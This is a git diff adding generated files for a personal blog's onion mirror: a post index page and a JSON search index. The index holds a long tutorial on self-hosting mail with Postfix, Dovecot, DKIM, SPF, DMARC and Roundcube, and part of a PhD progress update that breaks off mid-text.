    diff --git a/public-onion/categories/stories/page/1/index.html b/public-onion/categories/stories/page/1/index.html new file mode 100644 index 0000000..e202611 --- /dev/null +++ b/public-onion/categories/stories/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/stories/ + + + + + + diff --git a/public-onion/favicon-16x16.png b/public-onion/favicon-16x16.png new file mode 100644 index 0000000..c1da4fd Binary files /dev/null and b/public-onion/favicon-16x16.png differ diff --git a/public-onion/favicon-32x32.png b/public-onion/favicon-32x32.png new file mode 100644 index 0000000..9fee996 Binary files /dev/null and b/public-onion/favicon-32x32.png differ diff --git a/public-onion/favicon.ico b/public-onion/favicon.ico new file mode 100644 index 0000000..a5c24e3 Binary files /dev/null and b/public-onion/favicon.ico differ diff --git a/public-onion/images/hedgedoc-cover.png b/public-onion/images/hedgedoc-cover.png new file mode 100644 index 0000000..4ee35d2 Binary files /dev/null and b/public-onion/images/hedgedoc-cover.png differ diff --git a/public-onion/images/inet/inet_animation_collage.jpg b/public-onion/images/inet/inet_animation_collage.jpg new file mode 100644 index 0000000..f5bc7c5 Binary files /dev/null and b/public-onion/images/inet/inet_animation_collage.jpg differ diff --git a/public-onion/images/inet/inet_hardware_collage.jpg b/public-onion/images/inet/inet_hardware_collage.jpg new file mode 100644 index 0000000..5235a50 Binary files /dev/null and b/public-onion/images/inet/inet_hardware_collage.jpg differ diff --git a/public-onion/images/inet/inet_logo_fusion_merged.png b/public-onion/images/inet/inet_logo_fusion_merged.png new file mode 100644 index 0000000..a1ffbd4 Binary files /dev/null and b/public-onion/images/inet/inet_logo_fusion_merged.png differ diff --git a/public-onion/images/inet/inet_ui_collage.jpg b/public-onion/images/inet/inet_ui_collage.jpg new file mode 100644 index 0000000..7814ddf Binary files /dev/null and b/public-onion/images/inet/inet_ui_collage.jpg differ diff --git a/public-onion/images/matrix-cover.png b/public-onion/images/matrix-cover.png new file mode 100644 index 0000000..88f4702 Binary files /dev/null and b/public-onion/images/matrix-cover.png differ diff --git a/public-onion/index.html b/public-onion/index.html new file mode 100644 index 0000000..e3c6139 --- /dev/null +++ b/public-onion/index.html @@ -0,0 +1,554 @@ + + + + + + + + +AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow) +

    +
    +
    +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    +
    +
    July 24, 2026 · 17 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    June 2026 +

    +
    +
    +

    Ok, it’s been so so so long! I haven’t been writing, once again, because I’ve been too busy with fixing my life. Let me summerize these past many months: +I finished my coursework for my prep phase I was added to a colleagues project and we submited it to IMC I submitted a poster to TMA, and I will be present it at the end of this month (June) I branched my main project, IP over anything, into application layer, added steganography to it, and made it ready to be submited to S&P, but due to some complications, we decided to skip this deadline and aim for USENIX at the end of Augsust. I am a tutor at data networks, and I think I’m doing a pretty good job :) at least I hope so! I realized how much I love teaching, and interacting and explaining things to students. Downloads: Markdown · Signature (.asc) ...

    +
    +
    June 23, 2026 · 1 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    A TU Wien CTF where Sysops Klaus left the keys in the cron job +

    +
    +
    +

    LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.

    +
    +
    June 5, 2026 · 10 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    April '26 +

    +
    +
    +

    I know, I know. I’ve been lacking updates. I’m so so sorry. I will try to summerize what I’ve been up tp in the past few months. +Up until the middle of March, I’ve been taking care of the last bits of coursework I had to do during my prep phase. And now I’m done with that all together. +I took ML in cysec which was very much aligned to the type of research I do. They try to get around IDS, and I try to get around censorship setup which is pretty much the same idea. I learned so so incredibly much from the course. It was awesome! I then had a block seminar called Routerlab in which I just did very well. It was fun in the sense that we got to touch and use real hardware. We also did so much that I didn’t know much about. Though no mail server for me unfortunately. +...

    +
    +
    May 3, 2026 · 2 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    H3ll0 Fr1end +

    +
    +
    +

    Hello friends. I’m back. It’s been… let’s say, a shit show. My beloved country was attacked by two extremely strong foreign armies in the midst of a revolution. A revolution I deemed i woulld succeed, but now I’m so so confused. The royalists, the radical fascist rights, gathered behind the former King of Iran. A fucking ruthless dictator. Someone who created the scariest of spider webs in Iran, the effect of which layed it’s shadow over the country for decades. It’s funny how his father (I’m talking about the grandfather of this guy) was a traitor, and a ruthless dictator of his own. The difference was that he actually loved the country and although ruled with an iron fist, he actually tried to make the country great. Now let me be honest, the guy was an idiot for many many reasons, siding with the allies by providing them infrastructure at the cost of his own people’s lives, and then selling people’s food to make money off of England was just utterly messed up. But this guy (the son of the former King) is probably the most incompetence creature on this world. So badly incompetence that no mentally sane foreign leader even sees the guy. With all of the money given to him throughout the years, it’s not clean what the fuck his been up to. His eyes blinded be revenge, and his head dreaming of ruling a country that he clearly does not “own” makes him the best candidate for exploitation. And he has shown this very well. +...

    +
    +
    May 2, 2026 · 3 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin +

    +
    +
    +

    I didn’t “move Nextcloud to the cloud”. +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄 +This post documents the setup I ended up with: +A public VPS (host: funbox) running Nginx + Let’s Encrypt A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …) A private backhaul using Tailscale (the 100.x.y.z network) A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values) A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin +(in addition to Jellyfin’s own login) I’m writing this as a “future me” note and a “copy-paste friendly” guide. +...

    +
    +
    February 2, 2026 · 6 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Blackout +

    +
    +
    +

    Ever since the latest Internet/communication blackout in Iran, I’ve been trying to get access to my box inside of the network. I went so far as to beg people to ssh into my box and deploy something that would give me a backdoor to my box, but little to no luck came out of it. Although Arvancloud opened their panel briefly, giving me access to do some digging, I got stuck at putting some sort of binary client on my box from their online panel. I tried to b64 the binary file and copy‑paste it via clipboard, and this caused their panel to crash (or it was just bad timing) — they haven’t opened it again. +...

    +
    +
    January 26, 2026 · 8 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    2025 Highlight +

    +
    +
    +

    I just experienced my best two weeks of this cursed year. I went to 39c3 first, did 31.25h of Engel work, got to meet a bunch of extremely cool people, met the people I had made friends with from last year, and made new friends. No new contacts though. :) Not only I got to see a lot of cool people, computers, projects, but also I attended many many cool talks and learned a lot. I also participated in a challenge that after solving I got a T-Shirt for. I also got myself a T-Shirt for my Engel work. +...

    +
    +
    January 5, 2026 · 3 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Seeing the "Light" +

    +
    +
    +

    I have a strong hunch that I made it. I beat my MDD. I’m finally happy! I’m happy for being single, for being who I am, for doing what I do. I can cherish every moment of my life now. +Currently I’m sitting in Hamburg’s CCH, being an Angel in disguise. ;D +I could not land myself any shifts before 1600, so I have to sit around and wait, and blog. +...

    +
    +
    December 25, 2025 · 2 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4 +

    +
    +
    +

    Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours. +...

    +
    +
    December 21, 2025 · 9 min · Iman Alipour + + + + + + +
    + +
    + +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/index.json b/public-onion/index.json new file mode 100644 index 0000000..1e7990c --- /dev/null +++ b/public-onion/index.json @@ -0,0 +1 @@ +[{"content":" If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.\nI wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)\nBy the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.\nWhy I bothered Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.\nI also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.\nHow email actually moves Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.\nPostfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).\nWhen you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.\nDovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.\nOpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.\nThen there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.\nOnce you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.\nThe shape of my setup On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.\nNginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.\nPort 25 is for servers; port 587 is for people This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.\nPort 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.\nPort 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.\nI also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.\nWhat an “open relay” is, and why localhost lies to you An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.\nHere’s the trick that wastes afternoons: testing from 127.0.0.1.\nPostfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.\nSo I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.\nKindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”\nDNS, but make it human The forward map (name → number) You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.\nI put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.\nWhy Cloudflare’s orange cloud is not invited Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.\nMail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.\nPTR records: the phonebook in reverse This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.\nNormal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.\nThose reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.\nSo you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.\nYou can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.\nSPF, DKIM, and DMARC: three different questions People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.\nSPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.\nDKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.\nDMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.\nOrder matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.\nTogether they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.\nBuilding the unglamorous core On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.\nThen came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.\nI briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.\nWhen opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.\nThe Matrix certificate heist (that wasn’t a heist) Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.\nNo attacker. No cosmic joke from Let’s Encrypt. Just nginx.\nWhen a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.\nLater I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.\nThe boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.\nFrom Linux users to real mailboxes The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.\nSo I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.\nWhy not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.\nOne setting decides whether this feels cursed or calm: mydestination.\nThat list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.\nPostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”\nOne more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.\nWebmail without losing the plot Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.\nI flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.\nThe calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”\nThe bounce emails that taught me about identity After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.\nThe fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.\nDeletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.\nAnd fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.\nWhat “done” means for me For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.\nWould I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”\nIf this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.\nLinks Portal: mail.alipourimjourneys.ir Webmail: webmail.alipourimjourneys.ir Admin: mailadmin.alipourimjourneys.ir Downloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM jSo2Yw//UtI5N8jeF\u0026#43;LTvsVHqDbTVyD\u0026#43;x6qiMgRGT4Kpn86V\u0026#43;6NaVjrs6h\u0026#43;kc5Xy TD9gzCfpwsyfSDBGQ2SHM\u0026#43;bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq HhcRfnS1ICk\u0026#43;hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq 4kgsu5qV7bhB2IyS6nYb\u0026#43;A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O 4BAMhpgk4baTz0\u0026#43;fSjWiKSokQhizXvB6vK21qu2O\u0026#43;5WbkyY/LLi0klLlF2UqhKnU HE3\u0026#43;dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx\u0026#43;Ec6\u0026#43;nHiwtLu O\u0026#43;8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM 0k4KDrEbfIvoowTRRXmNpHV\u0026#43;ttSYanjzTl3oQQZ\u0026#43;Y9H\u0026#43;g\u0026#43;uPrfh8oUvivrj\u0026#43;2ZOn iv9oMoW6Q3rB7V/2\u0026#43;jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20= =KCRU -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/self_hosting_mail.md.asc gpg --verify self_hosting_mail.md.asc self_hosting_mail.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/self_hosting_mail/","summary":"\u003cblockquote\u003e\n\u003cp\u003eIf you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do \u003cstrong\u003enot\u003c/strong\u003e assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003eI wanted real email on my own machine — \u003ccode\u003email.alipourimjourneys.ir\u003c/code\u003e — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)\u003c/p\u003e","title":"Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)"},{"content":"Ok, it\u0026rsquo;s been so so so long! I haven\u0026rsquo;t been writing, once again, because I\u0026rsquo;ve been too busy with fixing my life. Let me summerize these past many months:\nI finished my coursework for my prep phase I was added to a colleagues project and we submited it to IMC I submitted a poster to TMA, and I will be present it at the end of this month (June) I branched my main project, IP over anything, into application layer, added steganography to it, and made it ready to be submited to S\u0026amp;P, but due to some complications, we decided to skip this deadline and aim for USENIX at the end of Augsust. I am a tutor at data networks, and I think I\u0026rsquo;m doing a pretty good job :) at least I hope so! I realized how much I love teaching, and interacting and explaining things to students. Downloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM jSoC1Q//XZwEZ0kzJq6JgjAfq1YJSLYWHAgNE8lHsvw2JW\u0026#43;kwn4wPw3Zysg\u0026#43;a7ln R13un1k4hCKw2k2x/2hyciMcl9V2faPbqkL2c2A6urZPVGFfhSxWc4y2OdXaXdle m/P\u0026#43;jyj1Yl8QOWlWOhJ7nhKEkZfRkkgNp56bQL\u0026#43;IYa3T1xKdCkiiPEsXAGQKfKrw BoR8CKJkqyabxseM6fdVFIzGSZ3Bo6PYyDHArExjQ97FgS6nEHdklwF3bRuO8gkP eRLhedsKWd5LvLa347dusMOKbAHcQQQavQb2uyN/ZlcAz2y8MyfbdmnLNq0CjFMd MGug0h1\u0026#43;d4omYSw7aXlpHMfOWCbiAs5BEgDvV9vd\u0026#43;p/PXbH765VzTnuzeMmIlRlm eloSCjex5kxiUvQ3G14usmAbON799etujTIJh5Mj9ol9jXDyh0/k228GC4RNF5K5 QEMPVoeGkte0CVM\u0026#43;C/PkK\u0026#43;QcGHxdasuZQEVTbCuN2qS6WxiFIpglsmagcoblO2\u0026#43;t zvDnk6ySTPrtiGlVqAZye1Pjhs7Xy3dq8VT\u0026#43;H2TUhZplgRpDXPlayUzPkZGvEcUr Mg03w3/uXCP8Q0ibQllSQioluUJ7l\u0026#43;oLaRZTly1tpZCCbWha11upK8ZKc03jMApM fQy/wpq\u0026#43;VFKZsB4clVAQoabPr\u0026#43;Q\u0026#43;JWAe0OOWcdrpp8FXlKfIkPc= =hIg9 -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/june_2026.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/june_2026.md.asc gpg --verify june_2026.md.asc june_2026.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/june_2026/","summary":"\u003cp\u003eOk, it\u0026rsquo;s been so so so long! I haven\u0026rsquo;t been writing, once again, because I\u0026rsquo;ve been too busy with fixing my life.\nLet me summerize these past many months:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eI finished my coursework for my prep phase\u003c/li\u003e\n\u003cli\u003eI was added to a colleagues project and we submited it to IMC\u003c/li\u003e\n\u003cli\u003eI submitted a poster to TMA, and I will be present it at the end of this month (June)\u003c/li\u003e\n\u003cli\u003eI branched my main project, IP over anything, into application layer, added steganography to it, and made it ready to be submited to S\u0026amp;P, but due to some complications, 